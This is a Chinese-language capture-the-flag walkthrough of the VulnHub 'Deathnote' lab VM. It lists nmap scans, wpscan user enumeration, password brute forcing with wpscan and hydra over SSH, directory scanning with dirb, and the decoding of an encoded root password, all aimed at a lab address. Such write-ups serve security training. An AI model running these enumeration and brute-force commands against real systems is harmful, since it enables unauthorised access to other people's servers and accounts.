难度：easy

下载地址：https://download.vulnhub.com/deathnote/Deathnote.ova

主机发现

arp-scan -l

端口扫描

nmap --min-rate 10000 -p- 192.168.21.140

进一步查看目标的端口的服务和版本

nmap -sV -sT -O -p22,80 192.168.21.140

扫描端口的漏洞

nmap --script=vuln -p22,80 192.168.21.140

看到有robots先去看看

连不上改host

接着看

没有东西去网站碰运气，点了hint后发现这个

这个线索用过了，只能去wordpress看看有没有漏洞（网站是wordpress搭建的）

顺带一搜就找到工具了（wpscan）

这里-e下面能直接爆破userid

wpscan --url http://deathnote.vuln/wordpress/ -e u

现在找到了用户名还差一个密码

cewl http://deathnote.vuln/wordpress/ -w passwd

再利用wpscan爆破密码

wpscan --url http://deathnote.vuln/wordpress/ -P password.txt -U kira

醉了没有

这里应该是密码

登入成功

找找有用的东西

在media里面发现文件

http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/notes.txt

目前不知道用处，但是应该要目录扫描

dirb http://deathnote.vuln/wordpress

看到有uploads去看一下（我们看到notes.txt在这个文件夹里面）

正好看到user.txt

那么notes里面是有密码的

文件直接下下来

这里由于web已经结束了，因该是要我们去爆破ssh

hydra -L user.txt -P notes.txt ssh://192.168.21.140

搞定ssh直接连

ssh l@192.168.21.140

0ok加密

Brainfuck/OoK加密解密 - Bugku CTF

L比较重要我就先扫描的l

进去看

两个文件夹

进kira看

这里面说去fake里面看

16进制数

cGFzc3dkIDoga2lyYWlzZXZpbCA=

base64

Kiraisevil

密码拿到

这个就因该是root的密码（kira）

搞定